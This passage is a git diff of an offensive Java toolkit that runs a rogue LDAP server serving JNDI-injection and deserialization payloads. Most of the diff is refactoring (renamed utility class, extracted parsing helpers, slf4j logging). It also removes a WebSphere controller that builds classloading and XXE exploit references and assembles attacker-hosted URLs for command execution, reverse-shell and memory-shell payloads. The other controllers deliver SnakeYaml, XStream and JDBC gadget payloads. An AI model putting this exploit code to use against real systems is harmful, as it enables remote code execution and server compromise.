- if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -61,7 +52,7 @@ public class MemoryXXEController implements LdapController{
}
if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java
deleted file mode 100644
index af31f42..0000000
--- a/src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.qi4l.JYso.controllers;
-
-import javax.naming.RefAddr;
-import java.util.Properties;
-
-//this is a stub class required by WebSphere2 ldap handler
-public class PropertiesRefAddr extends RefAddr {
- private static final long serialVersionUID = 288055886942232156L;
- private Properties props;
-
- public PropertiesRefAddr(String addrType, Properties props) {
- super(addrType);
- this.props = props;
- }
-
- public Object getContent() {
- return this.props;
- }
-}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
index 6e4e833..a65fcf8 100644
--- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
@@ -7,28 +7,27 @@ import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
-import org.apache.commons.cli.CommandLine;
import org.fusesource.jansi.Ansi;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
-import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
- public static String gadgetType;
- public static String cmd11;
- public static GadgetType gadgetType1;
- public static CommandLine cmdLine;
- private PayloadType payloadType;
- private String params;
+ private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class);
+ public static String gadgetType;
+ public static String cmd11;
+ public static GadgetType gadgetType1;
+ private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -38,8 +37,8 @@ public class SerializedDataController implements LdapController {
try {
final Class payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
- ObjectPayload payload = payloadClass.newInstance();
- Object object = payload.getObject(params);
+ ObjectPayload payload = payloadClass.newInstance();
+ Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
@@ -54,7 +53,7 @@ public class SerializedDataController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
- er.printStackTrace();
+ log.error(String.valueOf(er));
}
}
@@ -63,20 +62,21 @@ public class SerializedDataController implements LdapController {
System.out.println("- JNDI Deserialization Links ");
try {
base = base.replace('\\', '/');
- int firstIndex = base.indexOf("/");
+ int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
- throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
+ throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- int fourIndex = base.indexOf("/", thirdIndex + 1);
- String Ty1 = base.substring(thirdIndex + 1, fourIndex);
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ int fourIndex = base.indexOf("/", thirdIndex + 1);
+ String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在，则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
+ PayloadType payloadType;
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前（不包括第三个斜杠）所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
@@ -93,13 +93,13 @@ public class SerializedDataController implements LdapController {
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
- cmd11 = Util.getCmdFromBase(base);
+ cmd11 = Utils.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
- String encodedString = Util.getCmdFromBase(base);
- byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
- String T1 = new String(decodedBytes);
+ String encodedString = Utils.getCmdFromBase(base);
+ byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
+ String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
index 798aecd..dbc1ccd 100644
--- a/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -17,8 +17,7 @@ import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
- private String payloadType;
- private String[] params;
+ private String[] params;
private GadgetType gadgetType;
@Override
@@ -34,31 +33,23 @@ public class SnakeYamlController implements LdapController {
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
- e.addAttribute("javaSerializedData", Util.serialize(ref));
+ e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
- System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
+ System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try {
base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
+ int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- //System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
- if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -67,7 +58,7 @@ public class SnakeYamlController implements LdapController {
}
if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
diff --git a/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java b/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java
deleted file mode 100644
index 0131cd6..0000000
--- a/src/main/java/com/qi4l/JYso/controllers/WebsphereController.java
+++ /dev/null
@@ -1,136 +0,0 @@
-package com.qi4l.JYso.controllers;
-
-import com.qi4l.JYso.enumtypes.PayloadType;
-import com.qi4l.JYso.enumtypes.WebsphereActionType;
-import com.qi4l.JYso.exceptions.IncorrectParamsException;
-import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
-import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.utils.Util;
-import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
-import com.unboundid.ldap.sdk.Entry;
-import com.unboundid.ldap.sdk.LDAPResult;
-import com.unboundid.ldap.sdk.ResultCode;
-
-import javax.naming.Reference;
-import javax.naming.StringRefAddr;
-import java.util.Properties;
-
-import static org.fusesource.jansi.Ansi.ansi;
-
-/*
- * Requires:
- * - websphere v6-9 libraries in the classpath
- */
-
-@LdapMapping(uri = {"/websphere"})
-public class WebsphereController implements LdapController {
- private WebsphereActionType actionType;
- private String localJarPath;
- private String injectUrl;
-
- @Override
- public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
-
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
-
- Entry e = new Entry(base);
- e.addAttribute("javaClassName", "java.lang.String"); //could be any
-
- Reference ref;
- if (actionType == WebsphereActionType.rce) {
- //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
- ref = new Reference("ExportObject",
- "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
- Properties refProps = new Properties();
- refProps.put("com.ibm.ws.client.classpath", localJarPath);
- refProps.put("com.ibm.ws.client.classname", "xExportObject");
-// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
-
- } else {
- //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
- ref = new Reference("ExploitObject",
- "com.ibm.ws.webservices.engine.client.ServiceFactory", null);
- ref.add(new StringRefAddr("WSDL location", injectUrl));
- ref.add(new StringRefAddr("service namespace", "xxx"));
- ref.add(new StringRefAddr("service local part", "yyy"));
- }
- e.addAttribute("javaSerializedData", Util.serialize(ref));
-
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
-
- @Override
- public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
- try {
- int firstIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", firstIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
-
- try {
- actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
- } catch (IllegalArgumentException e) {
- throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
- }
-
- switch (actionType) {
- case list:
- String file = base.substring(base.lastIndexOf("=") + 1);
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
- injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
- break;
- case rce:
- String localJarFile = base.substring(base.lastIndexOf("=") + 1);
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
- localJarPath = localJarFile;
- break;
- case upload:
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- if (thirdIndex < 0) thirdIndex = base.length();
-
- PayloadType payloadType;
- try {
- payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
- // webspherebypass 只支持这 4 种类型的 PayloadType
- if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
- && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
- }
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
- }
-
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
- switch (payloadType) {
- case command:
- String cmd = Util.getCmdFromBase(base);
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
- injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
- break;
- case dnslog:
- String url = base.substring(base.lastIndexOf("/") + 1);
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
- injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
- break;
- case reverseshell:
- String[] results = Util.getIPAndPortFromBase(base);
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
- System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
- injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
- break;
- case webspherememshell:
- injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
- break;
- }
- break;
- }
- } catch (Exception e) {
- if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
- if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
-
- throw new IncorrectParamsException("Incorrect params: " + base);
- }
- }
-}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
index 00d7272..8c54507 100644
--- a/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/XStreamController.java
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,9 +16,10 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
-public class XStreamController implements LdapController{
+public class XStreamController implements LdapController {
private PayloadType type;
- private String[] params;
+ private String[] params;
+
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
@@ -60,12 +61,12 @@ public class XStreamController implements LdapController{
" \n" +
" \n" +
" \n" +
- " "+ params[0] +"\n" +
+ " " + params[0] + "\n" +
" \n" +
"";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
- e.addAttribute("javaSerializedData", Util.serialize(ref));
+ e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@@ -74,7 +75,7 @@ public class XStreamController implements LdapController{
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try {
- int firstIndex = base.indexOf("/");
+ int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
@@ -87,7 +88,7 @@ public class XStreamController implements LdapController{
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
- String cmd = Util.getCmdFromBase(base);
+ String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
index e0e1789..06ec0b3 100644
--- a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
+++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java
@@ -3,87 +3,90 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Util;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
-
-import static org.fusesource.jansi.Ansi.ansi;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
- private String payloadType;
+ private static final Logger log = LoggerFactory.getLogger(jdbcController1.class);
+ private static String payloadType;
- private String factoryType;
- private String[] params;
- private GadgetType gadgetType;
+ private static String factoryType;
+ private static String[] params;
+ private static GadgetType gadgetType;
+
+ public static void printResultJDBC1(String base) throws Exception {
+ base = base.replace('\\', '/');
+ int fistIndex = base.indexOf("/");
+ int secondIndex = base.indexOf("/", fistIndex + 1);
+ if (secondIndex < 0) secondIndex = base.length();
+
+ try {
+ payloadType = base.substring(fistIndex + 1, secondIndex);
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
+ }
+
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ if (thirdIndex < 0) thirdIndex = base.length();
+
+ try {
+ factoryType = base.substring(secondIndex + 1, thirdIndex);
+ System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
+ }
+
+ int fourthIndex = base.indexOf("/", thirdIndex + 1);
+
+ if (fourthIndex != -1) {
+ try {
+ gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
+ }
+ }
+
+ if (gadgetType == GadgetType.base64) {
+ String cmd = Utils.getCmdFromBase(base);
+ System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
+ params = new String[]{cmd};
+ }
+ }
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
- Entry e = new Entry(base);
+ Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
- e.addAttribute("objectClass","javaNamingReference");
+ e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
- e.addAttribute("javaFactory",factoryType);
- e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
+ e.addAttribute("javaFactory", factoryType);
+ e.addAttribute("javaReferenceAddress", "/0/url/" + JDBC_URL, "/1/driverClassName/" + driver, "/2/username/Squirt1e", "/3/password/Squirt1e", "/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
- er.printStackTrace();
+ log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
+ System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
- base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", fistIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
-
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- if (thirdIndex < 0) thirdIndex = base.length();
-
- try {
- factoryType = base.substring(secondIndex + 1, thirdIndex);
- System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int fourthIndex = base.indexOf("/", thirdIndex + 1);
-
- if (fourthIndex != -1) {
- if (fourthIndex < 0) fourthIndex = base.length();
- try {
- gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
- }
- }
-
- if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
- params = new String[]{cmd};
- }
-
+ printResultJDBC1(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
index 6dba10b..60fb439 100644
--- a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
+++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java
@@ -3,35 +3,73 @@ package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.InjShell;
-import com.qi4l.JYso.gadgets.utils.Util;
-import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
+import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
-import static org.fusesource.jansi.Ansi.ansi;
-
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
- private String payloadType;
- private String factoryType;
- private String[] params;
- private GadgetType gadgetType;
+ private static final Logger log = LoggerFactory.getLogger(jdbcController2.class);
+ private static String payloadType;
+ private static String factoryType;
+ private static String[] params;
+ private static GadgetType gadgetType;
+
+ public static void printResultJDBC2(String base) throws Exception {
+ base = base.replace('\\', '/');
+ int fistIndex = base.indexOf("/");
+ int secondIndex = base.indexOf("/", fistIndex + 1);
+ if (secondIndex < 0) secondIndex = base.length();
+
+ try {
+ payloadType = base.substring(fistIndex + 1, secondIndex);
+ System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
+ }
+
+ int thirdIndex = base.indexOf("/", secondIndex + 1);
+ if (thirdIndex < 0) thirdIndex = base.length();
+
+ try {
+ factoryType = base.substring(secondIndex + 1, thirdIndex);
+ System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
+ }
+
+ int fourthIndex = base.indexOf("/", thirdIndex + 1);
+
+ if (fourthIndex != -1) {
+ try {
+ gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
+ } catch (IllegalArgumentException e) {
+ throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
+ }
+ }
+
+ if (gadgetType == GadgetType.base64) {
+ String cmd = Utils.getCmdFromBase(base);
+ System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
+ params = new String[]{cmd};
+ }
+ }
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
- Entry e = new Entry(base);
+ Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
@@ -45,65 +83,27 @@ public class jdbcController2 implements LdapController {
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration enumeration = ref.getAll();
- int posn = 0;
+ int sn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
- e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
- posn ++;
+ e.addAttribute("javaReferenceAddress", "#" + sn + "#" + addr.getType() + "#" + addr.getContent());
+ sn++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
- er.printStackTrace();
+ log.error(String.valueOf(er));
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
- System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
+ System.out.println("- JNDI JDBC Reference Links Target < JDK20");
try {
- base = base.replace('\\', '/');
- int fistIndex = base.indexOf("/");
- int secondIndex = base.indexOf("/", fistIndex + 1);
- if (secondIndex < 0) secondIndex = base.length();
-
- try {
- payloadType = base.substring(fistIndex + 1, secondIndex);
- System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int thirdIndex = base.indexOf("/", secondIndex + 1);
- if (thirdIndex < 0) thirdIndex = base.length();
-
- try {
- factoryType = base.substring(secondIndex + 1, thirdIndex);
- System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
- }
-
- int fourthIndex = base.indexOf("/", thirdIndex + 1);
-
- if (fourthIndex != -1) {
- if (fourthIndex < 0) fourthIndex = base.length();
- try {
- gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
- } catch (IllegalArgumentException e) {
- throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
- }
- }
-
- if (gadgetType == GadgetType.base64) {
- String cmd = Util.getCmdFromBase(base);
- System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
- params = new String[]{cmd};
- }
-
+ printResultJDBC2(base);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
diff --git a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
index 53e0f3a..0e52d81 100644
--- a/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
+++ b/src/main/java/com/qi4l/JYso/controllers/ldap2rmiController.java
@@ -11,14 +11,12 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
-import java.util.Random;
-
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
- private final String ip = Config.ip;
+ private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort);
- private String path;
+ private String path;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -40,8 +38,7 @@ public class ldap2rmiController implements LdapController {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
- String result = base.substring(index);
- path = result;
+ path = base.substring(index);
}
}
}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java b/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
deleted file mode 100644
index 92e5f26..0000000
--- a/src/main/java/com/qi4l/JYso/controllers/rmi/Basic.java
+++ /dev/null
@@ -1,109 +0,0 @@
-package com.qi4l.JYso.controllers.rmi;
-
-import com.qi4l.JYso.enumtypes.GadgetType;
